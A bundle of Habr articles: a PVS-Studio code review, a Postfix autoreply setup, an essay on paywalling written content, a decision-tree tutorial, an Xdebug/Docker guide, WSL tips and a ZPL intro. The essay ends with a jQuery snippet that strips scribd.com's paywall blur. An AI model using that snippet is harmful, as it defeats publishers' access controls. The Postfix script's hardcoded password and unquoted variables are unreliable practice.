Thus, the static analysis will at least make the developer pay attention to the suspicious fragment in order to evaluate if the error may actually occur there. With this approach, the number of errors that go unnoticed will be rapidly reduced.
### Unreliable waiting?
```
private (LoopVar, Tensor[]) \_BuildLoop(
....
) where ....
{
....
// Finds the closest enclosing non-None control pivot.
var outer\_context = \_outer\_context;
object control\_pivot = null;
while (outer\_context != null && control\_pivot == null) // <=
{
}
if (control\_pivot != null)
{
}
....
}
```
**Analyzer warning:** [V3032](https://www.viva64.com/en/w/v3032/) Waiting on this expression is unreliable, as compiler may optimize some of the variables. Use volatile variable(s) or synchronization primitives to avoid this. WhileContext.cs 212
The analyzer indicates that such an implementation of waiting can be optimized by the compiler, but I doubt that authors really tried to implement waiting here — most likely, the code is simply not written up to the end and is planned to be finalized in the future. It might be worth throwing the *NotImplementedException* here, given that this practice is used elsewhere in the project. Anyway, in my opinion, an explanatory comment would come in handy.
### Violation of bounds
```
public TensorShape(int[][] dims)
{
if(dims.Length == 1)
{
switch (dims[0].Length)
{
case 0: shape = new Shape(new int[0]); break;
case 1: shape = Shape.Vector((int)dims[0][0]); break;
case 2: shape = Shape.Matrix(dims[0][0], dims[1][2]); break; // <=
default: shape = new Shape(dims[0]); break;
}
}
else
{
throw new NotImplementedException("TensorShape int[][] dims");
}
}
```
**Analyzer warning:** [V3106](https://www.viva64.com/en/w/v3106/) Possibly index is out of bound. The '1' index is pointing beyond 'dims' bound. TensorShape.cs 107
Among the weird snippets of code that I looked through, I saw a real mistake, which is very difficult to notice. The following fragment is erroneous here: *dims[1][2]*. Getting an element with index 1 from an array of one element is obviously a mistake. At the same time, if we change the fragment for *dims[0][2]*, another error will appear — getting an element with the index 2 from the array *dims[0]*, the length of which is 2 in this case branch. Thus, this problem turned out to be with a «double bottom».
In any case, this code fragment should be studied and corrected by the developer. In my opinion, this example is an excellent illustration of the Data Flow Analysis performance in PVS-Studio.
### A typo?
```
private void _init_from_args(object initial_value = null, ....) // <=
{
var init_from_fn = initial_value.GetType().Name == "Func`1"; // <=
....
tf_with(...., scope =>
{
....
tf_with(...., delegate
{
initial_value = ops.convert_to_tensor( // <=
init_from_fn ? (initial_value as Func)():initial\_value,
name: "initial\_value",
dtype: dtype
);
});
\_shape = shape ?? (initial\_value as Tensor).TensorShape;
\_initial\_value = initial\_value as Tensor; // <=
....
\_dtype = \_initial\_value.dtype.as\_base\_dtype(); // <=
if (\_in\_graph\_mode)
{
....
if (initial\_value != null) // <=
{
....
}
....
}
....
});
}
```
To understand the code above, it is also worth citing the implementation of the tf\_with function:
```
[DebuggerStepThrough] // with "Just My Code" enabled this lets the
[DebuggerNonUserCode()] //debugger break at the origin of the exception
public static void tf_with(
T py, Action action
) where T : ITensorFlowObject
{
try
{
py.\_\_enter\_\_();
action(py);
}
finally
{
py.\_\_exit\_\_();
py.Dispose();
}
}
```
**Analyzer warning:** V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'initial\_value', '\_initial\_value'. ResourceVariable.cs 137
*\_init\_from\_args* is a fairly voluminous function, so many fragments have been omitted. Its full version is available by the [link](https://github.com/SciSharp/TensorFlow.NET/blob/afaf0c80729abd0f01dba42ecaad800c8a08985a/src/TensorFlowNET.Core/Variables/ResourceVariable.cs#L85). At first this warning did not seem really serious to me. After reviewing it, I realized that something was definitely wrong with the code.
Firstly, it should be noted that the method can be called without passing parameters and by default there will be *null* in *initial\_value*. In this case, an exception will be thrown right in the first line.
Secondly, the check of *initial\_value* for *null* looks strange: if *initial\_value* has really become *null* after calling *ops.convert\_to\_tensor*, *\_initial\_value* would also be *null*, which means that the call of *\_initial\_value.dtype.as\_base\_dtype()* would also throw an exception.
The analyzer hints that it is *\_initial\_value* that has to be checked for *null.* But as noted before, this variable is accessed before this check, so this option would also be incorrect.
Would this tiny mistake be noticed in such a giant function without PVS-Studio? I doubt it very much.
Conclusion
----------
In a project with many examples of strange code, a lot of problems can be hidden. The programmer, getting used to seeing the incomprehensible, at the same time ceases to notice errors. The consequences can be very sad. Indeed, among analyzer warnings there are also false ones. However, in most cases, warnings at least indicate fragments of code that can cause questions when viewed by a person. In the case when the strange code is written intentionally, it is worth leaving explanations so that the fragment is clear to the developer who will work with this code in the future (even if it means leaving comments for oneself).
At the same time, static analysis tools, such as PVS-Studio, can be of great help in finding potential errors and oddities, so that they are visible and not forgotten, as well as all temporary solutions are subsequently refined and turned into clean, structured, and stable working code. | https://habr.com/ru/post/496246/ | null | en | null |
# Автоответчик в postfix
Приветствую читателей сего сайта.
Тема, которую я собираюсь поднять, здесь не нова, но, может быть, кому-то поможет.
Итак…
Дано:
1. Настроенный postfix+cyrus-imap+sasl2. Почтовый сервер обслуживает 3 домена (domain1.ru, domain2.ru, domain3.ru)
Задача:
Сделать «автоответчик» отправителю. То есть, если получатель письма на больничном и ему приходит письмо, то письмо должно оказаться в его же ящике, а отправителю должен быть ответ что, мол, «Иванов на больничном, по всем вопросам обращаться к Петрову».
Сразу скажу, что информация о том, как это сделать, в интернете есть, но я приведу решение, которое сделает автоответчик для каждого пользователя каждого же домена в отдельности.
Я пробовал делать некий универсальный скрипт для этих целей, но в ходе испытаний пришел к выводу, что лучше сделать для каждого юзера свой скрипт.
Решение:
1. Создаем файл сообщения /etc/postfix/script/ivanov@domain1.ru.msg с содержимым:
> Добрый день. С 01.01.2016 по 15.01.2016 я буду на больничном, по всем вопросам обращаться по телефону 3432142345435. Спасибо.
2. /etc/postfix/master.cf добавляем следующее
```
autoreply_ivanov_domain1
unix - n n - - pipe
flags=F user=nobody argv=/etc/postfix/script/autoreply_ivanov_domain1 ${sender} ${recipient}
```
3. /etc/postfix/main.cf добавляем
```
virtual_alias_maps = hash:/etc/postfix/virtual_alias_maps
transport_maps = hash:/etc/postfix/transport
```
4. /etc/postfix/transport
```
ivanov.autoreply.domain1.ru autoreply_ivanov_domain1:
# здесь мы определяем транспорт для несуществующего домена ivanov.autoreply.domain1.ru. Домен этот нужен для того что бы однозначно определить юзера в определенном домене.
```
5. /etc/postfix/virtual\_alias\_maps
```
ivanov@domain1.ru ivanov@domain1.ru, ivanov@domain1.ru@autoreply@ivanov.autoreply.domain1.ru
# здесь мы указыаем что пришедшую почту на ivanov@domain1.ru надо доставить ему же и на ящик autoreply@ivanov.autoreply.domain1.ru(домен которого будет обслуживаться по правилам указанным в master.cf согласно транспорту указанному в transport)
```
6. Готовим скрипт ответа на сообщение:
/etc/postfix/script/autoreply\_ivanov\_domain1 с содержимым
```
#!/bin/bash
1. sender=`echo $1`
2. recipient=`echo $2`
3. name1=`echo $recipient | cut -d @ -f 1`
4. name2=`echo $recipient | cut -d @ -f 2`
5. name=`echo $name1@$name2`
6. text=`cat /etc/postfix/script/$name.msg`
7. /etc/postfix/script/sendEmail/sendEmail -o tls=no -f "REPLY " -t $sender -u reply -o message-charset=utf-8 -m $text -s 192.168.1.1 -xu autoreply@domain1.ru -xp "111"
# пояснение. Цифры номеров строк надо конечно же удалить.
```
1-2. Присваиваем переменным значения других переменных, полученных от postfix. Эти переменные окажутся здесь вот из этой строки файла master.cf argv=/etc/postfix/script/autoreply\_ivanov\_domain1 ${sender} ${recipient}
3-4. Переменная recipient будет равна «ivanov@domain1.ru@autoreply@ivanov.autoreply.domain1.ru» и отсюда нам надо выдернуть «ivanov@domain1.ru»что мы и делаем. Сначала дергаем первое поле «ivanov »до первого разделителя а потом второе поле «domain1.ru»
5. После выполнения этой строки переменная name будет иметь вид ivanov@domain1.ru.
6. Переменной text присваивается значение содержимого файла ivanov@domain1.ru.msg
7. Собственно посылаем ответ отправителю. Я думаю, с этой строкой все понятно, от кого, кому, что посылаем, через какой smtp, логин и пароль для ящика autoreply@domain1.ru, который, кстати, должен быть, естественно, создан.
Чтобы сделать автоответчик для других юзеров/доменов — все то же самое, только надо правильно именовать файлы.
Всем спасибо. | https://habr.com/ru/post/305918/ | null | ru | null |
# Напишем и поймем Decision Tree на Python с нуля! Часть 4. Структуры данных
*Данная статья — четвертая в серии. Ссылки на предыдущие статьи: [первая](https://habr.com/ru/post/517556/), [вторая](https://habr.com/ru/post/518768/), [третья](https://habr.com/ru/post/520204/)*
4.1 Структуры данных
--------------------
Структура данных — это представление того, как организованы отдельные данные.
### Массив
Отдельные данные представлены одним рядом. Чтобы идентифицировать один фрагмент данных, например, каким по порядку является этот отдельный фрагмент массива, необходим его идентификатор.
```
#Пример реализации массива в Python
a = [2,6,4,5,1,8]
```
### Таблица, двумерный массив
Данные выстроены в несколько столбцов, отдельные элементы двумерного массива также образуют строки.
Чтобы идентифицировать фрагмент данных в этом случае, требуются два идентификатора: например, номер столбца и номер элемента.
```
#Пример реализации таблицы в Python
a = [
[2,6,4,5,1,8],
[4,4,1,3,4,2],
[5,3,6,6,5,3],
[7,8,0,9,5,3],
]
```
### Tree, древовидная структура
Это структура данных, где отдельные данные как будто связаны линией.
Эти линии являются маршрутом, напрямую соединяющим одни данные с другими. И один такой маршрут, например, и будет являтся древовидной структурой данных.
Часто такую структуру изображают как схему, напоминающую растущее сверху вниз дерево. Линии называются ребрами или ветвями, данные — узлами (node), данные, после которых линия не продолжается, называются листьями(leaf), а данные, располагающиеся на самом верху — корневым узлом или просто корнем.
```
# Пример реализации Tree в Python, содержащий список дочерних узлов.
# Записывается в формате [Значение,список дочерних массивов]. Например, дерево с картинки выше будет записываться в порядке сверху вниз, слева направо.
# Помимо подобной записи, существуют варианты с использованием классов, родительских нодов и другие.
tree = \
[2,[
[6,[]],
[4,[
[5,[
[6,[]],
]],
[8,[]],
[1,[]],
]],
]]
# Функция для преобразования древовидной структуры в символьную
def tstr(node,indent=""):
s = indent+str(node[0])+"\n"
for c in node[1]: # Цикл на дочернем ноде
s += tstr(c,indent+"+-")
pass
return s
print(tstr(tree))
# Вывод
# 2
# +-6
# +-4
# +-+-5
# +-+-+-6
# +-+-8
# +-+-1
# Можно не создавать все дерево сразу, а создать несколько переменных для нодов
# Создаем все ноды-листья. Цифра в переменной указывает на строку нода и его порядковый номер в этой строке слева направо.
n10 = [6,[]]
n21 = [8,[]]
n22 = [1,[]]
n40 = [6,[]]
# Создаем родительские ноды для уже созданных дочерних.
n20 = [5,[n40]]
n11 = [4,[n20,n21,n22]]
n00 = [2,[n10,n11]]
# Выводим получившееся Древо, указав нод, который необходимо считать корневым.
print(tstr(n11))
# Вывод
# 4
# +-5
# +-+-6
# +-8
# +-1
```
### Network или графы
Это структура, в которой у одного нода может быть несколько ребер. Отдельные данные также называются узлами, а линии — ребрами. Зачастую в графах нет корневого узла, как в древовидной структуре.
```
# Реализация графа на Python
import pandas as pd
# В нашем случае имя узла и его значение совпадают.
# Если имя нода и его значение не совпадают, необходимо будет достать значение нода.
nodes = [2,6,4,5,8,1]
# Указываем связи между нодами в виде матрицы. Если от нода 2 (первая строка)к ноду 6 (вторая строка) исходит ребро,
# Значение 1-ой строки 2-ого столбца матрицы будет 1, а если ребро не проходит, то - 0. Такая матрица называется матрица смежности.
df = pd.DataFrame(
[
# 2,6,4,5,8,1
[ 0,1,1,0,0,0], # от нода 2
[ 1,0,0,1,0,0], # от нода 6
[ 1,0,0,1,1,1], # от нода 4
[ 0,1,1,0,0,0], # от нода 5
[ 0,0,1,0,0,0], # от нода 8
[ 0,0,1,0,0,0], # от нода 1
],columns=nodes,index=nodes)
print(df)
# Вывод
# 2 6 4 5 8 1
# 2 0 1 1 0 0 0
# 6 1 0 0 1 0 0
# 4 1 0 0 1 1 1
# 5 0 1 1 0 0 0
# 8 0 0 1 0 0 0
# 1 0 0 1 0 0 0
# С помощью библиотек matplotlib и networkx рисуем граф.
import matplotlib.pyplot as plt
import networkx as nx
plt.figure(figsize=(4,4))
plt.axis("off")
nx.draw_networkx(nx.from_pandas_adjacency(df))
plt.show()
```
Вывод:
4.2 Пример реализации Decision Tree в Python
--------------------------------------------
Decision Tree, как понятно из названия, может быть представлен в виде древовидной структуры.
В нодах хранятся следующие данные: список дочерних нодов, правила ветвления, путь от одного нода к другому в рамках Decision Tree.
Как показано ниже, корневой узел соединяет все данные. Числовое значение [...], прикрепленное к узлу, представляет собой номер исходных данных, из которых создается это дерево решений. Из корневого узла “спускаются” вниз только те данные, которые удовлетворяют условиям дочерних узлов. Например, это видно, если посмотреть на узлы “иду на гольф” и “не иду на гольф” в первом дереве решений.
Реализация в python-е происходит, например, следующим образом. Делаем один узел ассоциативным массивом, name — это символьное представление состояния этого узла, df — это данные, связанные с этим узлом, а ребра — это список дочерних узлов.
```
# Данные древовидной структуры
tree = {
# name: название этого узла
"name":"decision tree "+df0.columns[-1]+" "+str(cstr(df0.iloc[:,-1])),
# df: данные, связанные с данным узлом
"df":df0,
# edges: список ребер (ветвей), выходящих из данного узла. Если узел листовой, то есть если ребер у него нет, массив остается пустым.
"edges":[],
}
```
Функция tstr, текстифицирующая данную древовидную структуру, будет выглядеть следующим образом.
```
# Лямбда-выражение для распределения значений, аргумент - pandas.Series, возвращаемое значение - массив с количеством каждого из значений
# Из вводных данных s с помощью value_counts() находим частоту каждого из значений, и пока в нашем словаре есть элементы, будет работать цикл, запускаемый items().
# Чтобы выходные данные не менялись с каждым запуском цикла, мы используем sorted, который меняет порядок от большего к меньшему
# В итоге, генерируется массив, содержащий строку из следующих компонентов: ключ (k) и значение (v).
cstr = lambda s:[k+":"+str(v) for k,v in sorted(s.value_counts().items())]
# Метод текстификации дерева: аргумент - tree (структура данных дерева), indent (отступ дочерних узлов),
# А возвращаемое значение будет текстовым отображением tree. Данный метод вызывается рекурсивно для преобразования всего в дереве в символы.
def tstr(tree,indent=""):
# Создаем символьное представление этого узла.
# Если этот узел является листовым узлом (количество элементов в массиве ребер равно 0),
# Частотное распределение последнего столбца данных df, связанных с деревом, преобразуется в символы.
s = indent+tree["name"]+str(cstr(tree["df"].iloc[:,-1]) if len(tree["edges"])==0 else "")+"\n"
# Зацикливаем все ветви этого узла.
for e in tree["edges"]:
# Добавляем символьное представление дочернего узла к символьному представлению родительского узла.
# Добавляем еще больше символов к indent этого узла.
s += tstr(e,indent+" ")
pass
return s
```
Decision Tree, текстифицированное функцией tstr, будет выглядеть следующим образом. В корневом узле отображается текст (decision tree Гольф), который мы задали в самом начале при создании переменной tree, а также частотное распределение «иду / не иду на гольф» со всех данных. Каждый узел представленный ниже, отображает правила ветвления, и в случае, если узел оказывается листовым, отображается частотное распределение «иду / не иду на гольф» на основе данных, связанных с этим узлом.
```
decision tree Гольф ['×:5', '○:9']
Погода=Ясно
Влажность=Нормальная['○:2']
Влажность=Высокая['×:3']
Погода=Облачно['○:4']
Погода=Дождь
Ветер=Есть['×:2']
Ветер=Нет['○:3']
```
*Спасибо за прочтение!
Мы будем очень рады, если вы расскажете нам, понравилась ли вам данная статья, понятен ли перевод, была ли она вам полезна?* | https://habr.com/ru/post/526316/ | null | ru | null |
# Настройка Xdebug 3 на внешнем сервере в Docker-контейнере через SSH-туннель
В нашей организации используется такой подход к разработке - на локальной машине (Windows 11) установлен PhpStorm и находится репозиторий с кодом. В PhpStorm настроена автоматическая выгрузка изменений на dev-стенд (внешний сервер), где и исполняется код. На dev-стенде: Ubuntu 20 и Docker (swarm mode).
Общий принцип настройки Xdebug таков:
* Открываем SSH-туннель между локальной машиной и dev-стендом
* Xdebug из контейнера подключается к 9003-му порту хоста (dev-стенд)
* dev-стенд по SSH-туннелю перенаправляет запрос на 9003-й порт локальной машины
1. Настройка на стороне внешнего сервера:
-----------------------------------------
**1.1. Добавить Xdebug в образ**
В `Dockerfile`, из которого собирается Ваш образ PHP-FPM необходимо добавить установку и активацию XDebug 3:
```
FROM php:8.0.6-fpm-alpine
RUN apk add --no-cache \
$PHPIZE_DEPS \
&& pecl install xdebug \
&& docker-php-ext-enable xdebug
```
**1.2. Определить IP адрес, по которому хост доступен из контейнера**
Для этого нужно выполнить в нем команду:
```
docker exec $(docker ps -q --filter="NAME=php-fpm") \
/sbin/ip route|awk '/default/ { print $3 }'
```
`php-fpm` - это название сервиса PHP-FPM, указанное в compose-файле.
Получим IP, который будем далее указывать в настройках Xdebug и правилах перенаправления пакетов.
В моем случае - `172.18.0.1`
**1.3. Настройка Xdebug в php.ini**
```
[X-debug]
xdebug.mode=debug
xdebug.client_host=172.18.0.1
xdebug.client_port=9003
```
В опции `xdebug.client_host` указан IP, полученный на шаге 1.2
**1.4. Правки docker-compose.yml**
Для сервиса `php-fpm` необходимо добавить переменную окружения `PHP_IDE_CONFIG` с названием сервера, в котором в PhpStorm будет задан маппинг. `Docker` - это название сервера в настройках PhpStorm (Шаг 2.2).
```
version: "3.9"
services:
### php-fpm ###########################################################
php-fpm:
image: ${PHP_FPM_IMAGE}
environment:
PHP_IDE_CONFIG: serverName=Docker
```
**1.5. Переадресация трафика на внешний порт**
```
sudo iptables -t nat -I PREROUTING -p tcp -d 172.18.0.1 \
--dport 9003 -j DNAT --to 127.0.0.1:9003
```
`172.18.0.1` - это адрес, по которому можно обратиться к хост-машине из контейнера (пункт 1.2).
Для того, чтобы правила сохранялись после перезагрузки необходимо установть пакет `iptables-persistent`
```
sudo apt-get install iptables-persistent
```
В процессе установки будет предложено сохранить все правила для IPv4. Ответить нужно положительно.
2. Настройка на стороне локальной машины:
-----------------------------------------
**2.1. Открыть SSH-туннель**
Вы должны иметь возможность подключения к внешнему серверу по SSH.
Запустите SSH-туннель с проброской 9003-го порта внешнего сервера на 9003-й порт локального хоста:
```
ssh -R :localhost: @
# например
ssh -R 9003:localhost:9003 my-user@example.com
```
`my-user` - это имя вашего пользователя на внешнем сервер
`example.com` - это адрес внешнего сервера
**2.2. Настройка PhpStorm**
В настройках `PHP -> Servers` добавить сервер под названием `Docker`. Хост и порт не важны, можно оставить localhost и 80-й порт.
Главное - задать маппинг от корня локального проекта до корня проекта в контейнере на внешнем сервере
3. Использование
----------------
**3.1. Включить "прослушку" порта 9003 в PhpStorm:**
**3.2. Инициализация отладки через браузер**
Необходимо установить специальное расширение Xdebug Helper для вашего браузера, которое позволит легко запускать режим отладки.
[Для Firefox](https://addons.mozilla.org/en-US/firefox/addon/xdebug-helper-for-firefox/)
[Для Chrome](https://chrome.google.com/webstore/detail/xdebug-helper/eadndfjplgieldjbigjakmdgkmoaaaoc)
Включить режим отладки:
В PhpStorm установите в нужном месте точку останова и перезагрузите страницу.
После этого должно произойти подключение к PhpStorm и начаться сессия отладки.
**3.3. Инициализация откладки консольных команд.**
Необходимо в команду добавить опцию `-dxdebug.start_with_request=yes`
Например,
`php -dxdebug.start_with_request=yes bin/phpunit`
4.Отладка подключения
---------------------
Если подключение к PHPStorm не происходит, то можно воспользоваться легковесным клиентом для проверки подключения - <https://xdebug.org/docs/dbgpClient>
Его нужно скачать на локальный хост.
Запустить сначала на локальном хосте и попытаться подключиться к нему из контейнера:
`curl -Iv 172.18.0.1:9003`
Если в терминале с клиентом появилась надпись `Connect from 127.0.0.1:xxxxx`, то X-debug успешно соединяется с клиентом и проблема в настройках PHPStorm. | https://habr.com/ru/post/665860/ | null | ru | null |
# Cool WSL (Windows Subsystem for Linux) tips and tricks
It's no secret I dig WSL (Windows Subsystem for Linux) and now that [WSL2](https://www.hanselman.com/blog/RubyOnRailsOnWindowsIsNotJustPossibleItsFabulousUsingWSL2AndVSCode.aspx) is available in [Windows Insiders Slow](https://insider.windows.com/) it's a great time to really explore the options that are available. What I'm finding is so interesting about WSL and how it relates to the Windows system around it is how you can cleanly move data between worlds. This isn't an experience you can easily have with full virtual machines, and it speaks to the tight integration of Linux and Windows.
Look at all this cool stuff you can do when you mix your peanut butter and chocolate!
Run Windows explorer from Linux and access your distro's files
--------------------------------------------------------------
When you're at the WSL/bash command line and you want to access your files visually, you can run «explorer.exe .» where is the current directory, and you'll get a Windows Explorer window with your Linux files served to you over a local network plan9 server.
### Use real Linux commands (not CGYWIN) from Windows
I've blogged this before, but there are now aliases for PowerShell functions [that allow you to use real Linux commands](https://www.hanselman.com/blog/AWonderfullyUnholyAllianceRealLinuxCommandsForPowerShellWithWSLFunctionWrappers.aspx) from within Windows.
You can call any Linux command directly from DOS/Windows/whatever by just putting it after WSL.exe, like this!
```
C:\temp> wsl ls -la | findstr "foo"
-rwxrwxrwx 1 root root 14 Sep 27 14:26 foo.bat
C:\temp> dir | wsl grep foo
09/27/2016 02:26 PM 14 foo.bat
C:\temp> wsl ls -la > out.txt
C:\temp> wsl ls -la /proc/cpuinfo
-r--r--r-- 1 root root 0 Sep 28 11:28 /proc/cpuinfo
C:\temp> wsl ls -la "/mnt/c/Program Files"
...contents of C:\Program Files...
```
Use real Windows commands (not wine) from Linux
-----------------------------------------------
Windows executables are callable/runnable from WSL/Linux because the the Windows Path is in the $PATH until Windows. All you have to do is call it with .exe at the end, explicitly. That's how «Explorer.exe .» works above. You can also notepad.exe, or whatever.exe!
### Run Visual Studio Code and access (and build!) your Linux apps natively on Windows
You can run «code .» when you're in a folder within WSL and you'll get prompted to [install the VS Remote extensions](https://code.visualstudio.com/blogs/2019/09/03/wsl2?WT.mc_id=-blog-scottha). That effectively splits Visual Studio Code in half and runs the headless VS Code Server inside Linux with the VS Code client in the Windows world.
You'll also need to install [Visual Studio Code](https://code.visualstudio.com/download?WT.mc_id=-blog-scottha) and the [Remote — WSL extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl&WT.mc_id=-blog-scottha). Optionally, check out the [beta Windows Terminal](https://www.microsoft.com/p/windows-terminal-preview/9n0dx20hk701?WT.mc_id=-blog-scottha) for the best possible terminal experience on Windows.
Here's a great series from the Windows Command LIne blog. You can find the full series here:
* Part 1 [Take your Linux development experience in Windows to the next level with WSL and Visual Studio Code Remote](https://devblogs.microsoft.com/commandline/take-your-linux-development-experience-in-windows-to-the-next-level-with-wsl-and-visual-studio-code-remote/?WT.mc_id=-blog-scottha)
* Part 2 [An In Depth Tutorial on Linux Development on Windows with WSL and Visual Studio Code](https://devblogs.microsoft.com/commandline/an-in-depth-tutorial-on-linux-development-on-windows-with-wsl-and-visual-studio-code/?WT.mc_id=-blog-scottha)
* Part 3 [Tips and Tricks for Linux development with WSL and Visual Studio Code](https://devblogs.microsoft.com/commandline/tips-and-tricks-for-linux-development-with-wsl-and-visual-studio-code/?WT.mc_id=-blog-scottha)
Here's the benefits of WSL 2
* Virtual machines are resource intensive and create a very disconnected experience.
* The original WSL was very connected, but had fairly poor performance compared to a VM.
* WSL 2 brings a hybrid approach with a lightweight VM, a completely connected experience, and high performance.
Again, now available on Windows 10 Insiders Slow.
Run multiple Linuxes in seconds, side by side
---------------------------------------------
Here I'm running «wsl --list --all» and I have three Linuxes already on my system.
```
C:\Users\scott>wsl --list --all
Windows Subsystem for Linux Distributions:
Ubuntu-18.04 (Default)
Ubuntu-16.04
Pengwin
```
I can easily run them, and also assign a profile to each so they appear in my Windows Terminal dropdown.
Run an X Windows Server under windows using pengwin
---------------------------------------------------
[Pengwin](https://www.pengwin.dev/) is a custom WSL-specific Linux distro that's worth the money. You can get it at the [Windows Store](https://afflnk.microsoft.com/c/1291904/433017/7593?u=https%3A%2F%2Fwww.microsoft.com%2Fen-us%2Fp%2Fwlinux%2F9nv1gv1pxz6p&WT.mc_id=-blog-scottha). Combine Pengwin with an [X Server like X410](https://www.bing.com/rebates/welcome?url=https%3a%2f%2fwww.microsoft.com%2fen-us%2fp%2fx410%2f9nlp712zmn9q&murl=http%3a%2f%2fclick.linksynergy.com%2fdeeplink%3fid%3dmsYS1Nvjv4c%26afsrc%3d1%26mid%3d24542%26murl%3dhttps%253a%252f%252fwww.microsoft.com%252fen-us%252fp%252fx410%252f9nlp712zmn9q%26u1%3d&id=Microsoft&ra=8%&hash=1b8c84b51e92d8f9b2be366b93a65d2e093ee6ef2f98f699b82b26d8d905970b) and you've got a very cool integrated system.
Easily move WSL distros between windows systems
-----------------------------------------------
[Ana Betts points out this great technique](https://twitter.com/anaisbetts/status/1194386477855019008) where you can easily move your perfect WSL2 distro from one machine to *n* machines.
```
wsl --export MyDistro ./distro.tar
# put it somewhere, dropbox, onedrive, elsewhere
mkdir ~/AppData/Local/MyDistro
wsl --import MyDistro ~/AppData/Local/MyDistro ./distro.tar --version 2
```
That's it. Get your ideal Linux setup sync'ed on all your systems.
Use the windows Git credential provider within WSL
--------------------------------------------------
All of these things culminate in [this lovely blog post by Ana Betts](https://blog.anaisbetts.org/using-github-credentials-in-wsl2/) where she integrates the [Windows Git Credential Provider in WSL](https://blog.anaisbetts.org/using-github-credentials-in-wsl2/) by making /usr/bin/git-credential-manager into a shell script that calls the Windows git creds manager. Genius. This would only be possible given this clean and tight integration.
Now, go out there, install WSL, [Windows Terminal](https://www.hanselman.com/blog/HowToMakeAPrettyPromptInWindowsTerminalWithPowerlineNerdFontsCascadiaCodeWSLAndOhmyposh.aspx), and make yourself a [shiny Linux Environment on Windows](https://www.hanselman.com/blog/SettingUpAShinyDevelopmentEnvironmentWithinLinuxOnWindows10.aspx). | https://habr.com/ru/post/475994/ | null | en | null |
# Методы протекции важного текста
В современном интернете может существовать огромное количество текстовых данных: статьи, книги, публикации, сканы, заявления, заметки, справочники, энциклопедии, тексты песен. Я ратую за создание уникального контента (в качестве примера можно указать здесь газетные агентства, различные закрытые и доступные только по подписке журналы и издания). Уникальность — это действительно полезно, автор делает исключительно положительную работу. Если бы я был человеком, который владеет словом или имеет возможность писать то, что можно расценить как хороший материал, я бы озаботился созданием инфраструктуры для защиты, скажем так, для запрета свободного распространения. Например, далее можно придумать подписку, организовать издание, привлечь других писателей и подняться на этом деле.
Поэтому я предлагаю ознакомиться с возможностями защиты своих текстов в интернете.
* закрытый сайт
* тизерный список
* страница материала с принудительным «обрезанием»
* организация подписки
* разделение контента по содержимому
* представительство в социальных сетях
* представительство в твиттере
Первым делом я бы создал закрытый сайт. Использовать популярную CMS — хорошее решение. Взять например, джумлу или друпал. Привязать какие-нибудь модули принудительной авторизации и запуститься.
Обязательно на сайте наличие списка статей или литературы, достаточно будет и заголовков. Теги проставлять необязательно — искать будут в основном через гугл или яндекс.
На основной странице, на которой будет появляться контент, обязательно наличие заглушек. Возьмем к примеру некий абстрактный документ, состоящий из 5 страниц текста. Показывать первую страницу, остальные закрыть. (*кстати, интересный случай произошел, когда я пользовался scribd. см. ниже*). Вообще, считаю идеальным показывать не более 1/10 всего материала.
Сделать подписку. Пункт, обязательный к исполнению. Если вы один автор, и при этом производите не более 10 статьей в месяц, я считаю, разумным будет плата в 10$ с подписки. Для разового использования сделать возможность купить статью за цену, равную, ну допустим *[кол-во страниц]\*[важность контента]\*1$*, где *[важность контента]* — некий бал за значимость, ваша личная оценка, в пределах *0.1~1.0*. Я считаю, что $2 за статью о готовке или сборке некого абстрактного устройства — это хорошая точка равновесия.
Текстовый контент (статьи, руководства, инструкции — самое частое в интернете) необходимо отделять от медиа. Обычно вы будете добавлять ещё видео с пояснениями или же полностью использовать такой формат подачи информации.
В таких больших системах с охотными до контента пользователями, как ВКонтакте и Одноклассники, нельзя не познакомиться с сообществом. Это огромный рынок сбыта. Большое количество пользователей, готовых к употреблению контента (ведь они уже зашли на сайт и просмотрели котиков до вашего рекламы). **Обязательно!** наличие красивой картинки и описания, ведь это привлекает пользователей.
Твиттер тоже интересный источник распространения и рекламы. Принимая во внимание специфику твиттера и его сообщества, можно постить туда лишь заголовки со ссылкой. При этом раз в неделю (или чаще) разбавляя свой аккаунт прямой рекламой издания.
##### Результаты
Вот вы автор и владелец собственного крохотного издания, либо учредитель и соавтор в интернет-издании, охватывающем большую часть тем либо специализирующемся на одном направлении.
В случае удачного прохождения всех предыдущих шагов можно браться за иностранную аудиторию. Нанять штат переводчиков, либо воспользоваться средствами автоматического перевода с последующими ручными вычитками. Стоит ли упоминать, что в случае автоматического перевода лучше делать бесплатные копии статей, потому что такой перевод не самый качественный.
###### Бонус
Метод обхода протекции текста на сайте scribd.com:
```
$(".autogen_class_views_read2_page_blur_promo").empty(); // отключаем заглушку с предложением купить
$(".text_layer").css("color", "inherit"); // отключаем блюр (на самом деле "раскрываем" так "ответственно" спрятанный текст
$(".text_layer").css("text-shadow", "none"); // убираем тени
```
В общем можно с уверенностью сказать, что scribd.com отнеслись с задаче защиты важного текста с долей безответственности.
Единственное, что спасает их репутацию — довольно хороший метод обфускации текста.
Попробуем перенести текст. **ДО — ПОСЛЕ**
Удачи в начинаниях! | https://habr.com/ru/post/227799/ | null | ru | null |
# Небольшой путеводитель по ZPL
#### Добрый день, Хабрахабр.
Благодаря тепло принятой прошлой публикации, я могу опубликовать здесь эту статью. Спасибо всем, кто ставил плюсы.
По долгу службы мне частенько приходится формировать отчеты для этикеточных принтеров семейства Zebra.
*Зебры они такие*
Механизм формирования этикеток выглядит следующим образом: сначала с машины пользователя (компьютер, терминал сбора данных) на принтер отправляется специальным образом оформленная строка, затем внутренний процессор принтера обрабатывает эту строку, и выводит ее на печать.Но язык, на котором формируется строка для принтера (называется ZPL) на первый взгляд вызывает у непосвящённых нервную икоту и мандраж.
Прошу под кат, всех кто хочет разобраться в данном вопросе.
**Пример:**
```
^XA
^FO 0,10
^GB632,0,2^FS
^FO0,25
^FB632,1,0,C,0
^ASN,70,70
^FDWAR INC.^FS
^FO0,100
^GB632,0,2^FS
^FO0,120
^FB632,1,0,C,0
^ASN,60,60
^FDGoose^FS
^FO0,180
^FB632,1,0,C,0
^ASN,60,60
^FDWild^FS
^FO0,240
^GB632,0,2^FS
^FO120,260
^BY2
^BCN,70,N,N,N
^FDSECRECTCODE^FS -
^XZ
```
А на печать выводится такой аккуратный бейджик:
Давайте разберемся, что же написано в этом коде, и рассмотрим основные элементы.
